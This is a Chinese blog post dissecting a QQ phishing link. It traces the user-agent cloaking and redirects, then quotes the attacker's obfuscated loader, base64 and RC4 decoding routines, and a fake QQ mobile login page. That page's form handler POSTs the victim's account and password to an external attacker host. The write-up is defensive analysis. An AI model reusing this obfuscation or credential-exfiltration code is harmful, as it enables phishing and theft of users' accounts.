中午小憩的时候收到一个不怎么联系朋友的消息:

这是你么?https://sc.qq.com/*

(关键字串已经被隐去)

感觉Amazing!QQ官方链接吼!按照以前,打个哈哈就不管了,可能这次喝了咖啡太提神,于是我想看看这次钓鱼是怎么策划的,于是...我点了。

PC上访问这个地址会发现跳转到QQ空间官方登录页面,看来这个是做了规避(还是很缜密的吼),并且浏览器自带的UA也是过不了的!看来直接通过浏览器打开并不是此次攻击的目标,也就是,人家要的是QQ内嵌浏览器的UA!

通过内嵌浏览器UA打开页面后发现是一个多重定向,但是Finally你回到这个地址:

http://www.xtuan.com/upload/qzone/20180402/18375979920.html

这个地址的正文非常简单:

<!doctype html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta http-equiv="content-type" content="text/html; charset=utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>QQ空间-分享生活,留住感动</title>
        <meta name="keywords" content="QQ空间,qzone,腾讯,社交,照片,相册,日志,说说,签到,花藤,qq农场,qq牧场,亲子相册,旅游相册" />
        <meta name="description" content="QQ空间(Qzone)是中国最大的社交网络,是QQ用户的网上家园,是腾讯集团的核心平台之一。您可以玩游戏、玩装扮、上传照片、写说说、写日志,黄钻贵族还可以免费换装并拥有多种特权。QQ空间同时致力于建设腾讯开放平台,和第三方开发商、创业者一起为亿万中国网民提供卓越的、个性化的社交服务。" />
<script>
<!--
document.write(unescape("%3C%21doctype%20html%3E%0A%3Chtml%3E%0A%09%3Chead%3E%0A%09%09%3Cmeta%20charset%3D%22utf-8%22%20/%3E%0A%09%09%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3B%20charset%3Dutf-8%22%20/%3E%0A%09%09%3Cmeta%20http-equiv%3D%22X-UA-
//节省篇幅
%u7684%u3001%u4E2A%u6027%u5316%u7684%u793E%u4EA4%u670D%u52A1%u3002%22%20/%3E%0A%3Cscript%20type%3D%22text/javascript%22%20src%3D%22//t.cn/RnBljgC%22%3E%3C/script%3E%0A%3C/head%3E%0A%3Cbody%3E%0A%3C/body%3E%0A%3C/html%3E"));
//-->
</script>
</head>
<body>
</body>
</html>

关键在script中的http://t.cn/RnBljgC,他将加载实际地址为http://js.qq.zonemedia.com.cn/app.php的链接内容:

(function () {
    var new_doc = document.open("text/html", "replace");
    var html = unescape("%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%63%6F%6E%74%65%6E%74%2D%74%79%70%65%22%20%63%6F%6E%74%65%6E%74%
//节省篇幅
%29%29%29%29%3B%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E");
    new_doc.write(html);
    new_doc.close();
})();
var set = document.createElement('iframe');
set.src = 'https://www.baidu.com/favicon.ico';
set.style.display = 'none';
set.onload = function () {
    setTimeout(function () {
        set.remove();
    }, 9)
}
document.title = '\u767b\u5f55';
document.body.appendChild(set);
function base64_encode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,p='',r=[];if(!d){return d}do{z=d.charCodeAt(i++);y=d.charCodeAt(i++);x=d.charCodeAt(i++);s=z<<16|y<<8|x;w=s>>18&0x3f;v=s>>12&0x3f;u=s>>6&0x3f;t=s&0x3f;r[j++]=q.charAt(w)+q.charAt(v)+q.charAt(u)+q.charAt(t)}while(i<d.length);p=r.join('');var r=d.length%3;return(r?p.slice(0,r-3):p)+'==='.slice(r||3)}function base64_decode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,r=[];if(!d){return d}d+='';do{w=q.indexOf(d.charAt(i++));v=q.indexOf(d.charAt(i++));u=q.indexOf(d.charAt(i++));t=q.indexOf(d.charAt(i++));s=w<<18|v<<12|u<<6|t;z=s>>16&0xff;y=s>>8&0xff;x=s&0xff;if(u==64){r[j++]=String.fromCharCode(z)}else if(t==64){r[j++]=String.fromCharCode(z,y)}else{r[j++]=String.fromCharCode(z,y,x)}}while(i<d.length);return r.join('')}function arcfour(k,d){var o='';s=new Array();var n=256;l=k.length;for(var i=0;i<n;i++){s[i]=i}for(var j=i=0;i<n;i++){j=(j+s[i]+k.charCodeAt(i%l))%n;var x=s[i];s[i]=s[j];s[j]=x}for(var i=j=y=0;y<d.length;y++){i=(i+1)%n;j=(j+s[i])%n;x=s[i];s[i]=s[j];s[j]=x;o+=String.fromCharCode(d.charCodeAt(y)^s[(s[i]+s[j])%n])}return o}

看到https://www.baidu.com/favicon.ico就觉得不对劲儿了…让m.lom599来解开中间的经过编码的字符串:

<script type="text/javascript">
document.write(decodeURIComponent(arcfour("b5d1322869e2d0b452f300798a8bc4d7",base64_decode("j88EHd3Su5Hrfnflkezn4Q10nAv68i5VNMq0RwBVxcH06tcKtcR8bpLufs2vW7O6CR5gm65kmRbUyE7U8U9gC//XVd2UEkkgbM4r4TxFcZGjux0rZ7F9yHWQHorXLIDgx/+8fFHesEYi33r2gJejmVNvGWf4wRrcKYCH9bJ2peKn8WEj/QSPs6Vm9eNWTnGl4gCQLvDvw8yQEtySncMEjSyV/5OIZoaZTh4KhOng/

看来这里是一串被加密的二进制,但是密钥已经给出,加密方式已经给出(aRCfour),让m.lom599使用 RC4 解密再渲染一下: enter image description here 可以看到整体上就是手机QQ登录的样式,并且…甚至还直接引用了腾讯官方的CSS…但是关键:

//略去样式和头
        if (!err){
            $.ajax({
                url:'http://js.qq.zonemedia.com.cn/save.php',
                type:'POST',
                dataType:'json',
                data: $('#loginform').serialize(),
                error:function(er){
                $.getScript('http://js.qq.zonemedia.com.cn/share.php');
                }
            })
        }
      })
//省略尾

也就是如果m.lom599天填写了账号和密码就会被投递到http://js.qq.zonemedia.com.cn/save.php…然后你的QQ账号就失控了。 m.lom599来查查看域名的主人是谁呢: enter image description here